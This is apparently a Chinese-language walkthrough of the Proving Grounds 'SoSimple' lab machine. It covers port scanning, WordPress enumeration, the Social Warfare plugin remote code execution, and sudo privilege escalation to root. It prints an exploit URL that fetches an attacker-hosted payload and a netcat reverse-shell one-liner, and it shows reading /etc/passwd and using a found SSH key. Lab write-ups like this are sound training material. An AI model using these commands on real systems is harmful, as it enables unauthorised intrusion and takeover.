Proving Grounds Play : SoSimple Walkthrough

 Proving Grounds Play : SoSimple Walkthrough


Foothole (立足點 ) :

  • 80 網站掃描後發現 WordPress,之後用 wpscan 串 API 發現套件 Social Warfare 漏洞
  • 直接利用漏洞建立 Rever Shell 獲得進入點

PE ( 提權 ) :

  • 標準 Linux 爛梗,切換使用者 max 後,sudo -l 發現可以再切換使用者為 steven
  • sudo -l 發現 steven 可以sudo 以 root 身分執行 /opt/tools/server-health.sh
  • 系統上找不到該檔案,自行建立並寫入呼叫 bash 後成功提權為 root

注意事項 :

  • 切換使用者是 PE 標準爛梗


掃 Port,└─$ rustscan -a 192.168.182.78 --scripts none --ulimit 5000 | tee rustscan



snmp check,└─$ sudo nmap -sU -p 161 192.168.182.78 | tee snmp



nmap,└─$ sudo nmap -sCV -A -p 22,80 192.168.182.78 | tee nmap



whatweb



└─$ searchsploit Apache 2.4.41



80 / 好機車的首頁



80 /robots.txt



HTTP Header



gobuster,└─$ gobuster -w ./dirfuzzing.txt dir -u http://192.168.182.78 -c -t 150 -x txt,pdf,git,php | tee gobuster

發現 wordpress



whatweb,└─$ whatweb http://192.168.182.78/wordpress | tee whatweb-wordpress
發現 WordPress 版本 5.4.2



80 /wordpress



快速掃描 plug-in,└─$ curl -s -X GET 'http://192.168.182.78/wordpress' | grep plugins | awk '{print $2}' | awk '{print $6}' FS='/' | sort -u



wpscan 簡單列舉,└─$ wpscan --url http://192.168.182.78/wordpress --enumerate u               



找到兩個使用者 admin、max



wpscan 帶 API 進階 ,wpscan --url http://192.168.182.78/wordpress -e vp --plugins-detection mixed --api-token <API_KEY>

找到的 Plug-in : simple-cart-solution、social-warfare



看到這個就瞬間 &^$(#*#($.....

 | [!] Title: Social Warfare <= 3.5.2 - Unauthenticated Remote Code Execution (RCE)



https://wpscan.com/vulnerability/7b412469-cc03-4899-b397-38580ced5618

直接給 PoC,編輯符合靶機的 URL : http://192.168.182.78/wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://192.168.45.241/pgplay/78/payload.txt



執行 PoC 後有來抓 payload,但沒有顯示



將 payload 從 "<pre>system('cat /etc/passwd')</pre>" 改成 <pre>system('cat /etc/passwd')</pre>

就出來了



內容直接改建立 Reverse Shell 的內容,<pre>system('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.241 80 >/tmp/f')</pre>

http://192.168.182.78/wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://192.168.45.241/pgplay/78/payload.txt

進來了



在 /home/max 目錄下發現一個 personal.txt 內容看來是個 base64



直接 base64 decode,內容是 "Hahahahaha, it's not that easy !!!"



在 .ssh 底下發現 Private Key



使用 Private Key 改登入 max



sudo -l 發現可以用 steven 的身分執行 /usr/sbin/service



sudo -u steven /usr/sbin/service ../../../bin/bash,再切換成 steven 身分



sudo -l 發現可以執行     (root) NOPASSWD: /opt/tools/server-health.sh

看一下該 sh 內容,發現沒有該檔案,/opt 筆下甚至沒有 tools 路徑



自行建立 /tools/server-health.sh 檔案



直接在檔案內寫一行執行 bash,/bin/bash

執行 sudo -u root /opt/tools/server-health.sh 成功 root




留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

濫用 Windows 庫文件(Library File)

Challenge 0 - Secura(1)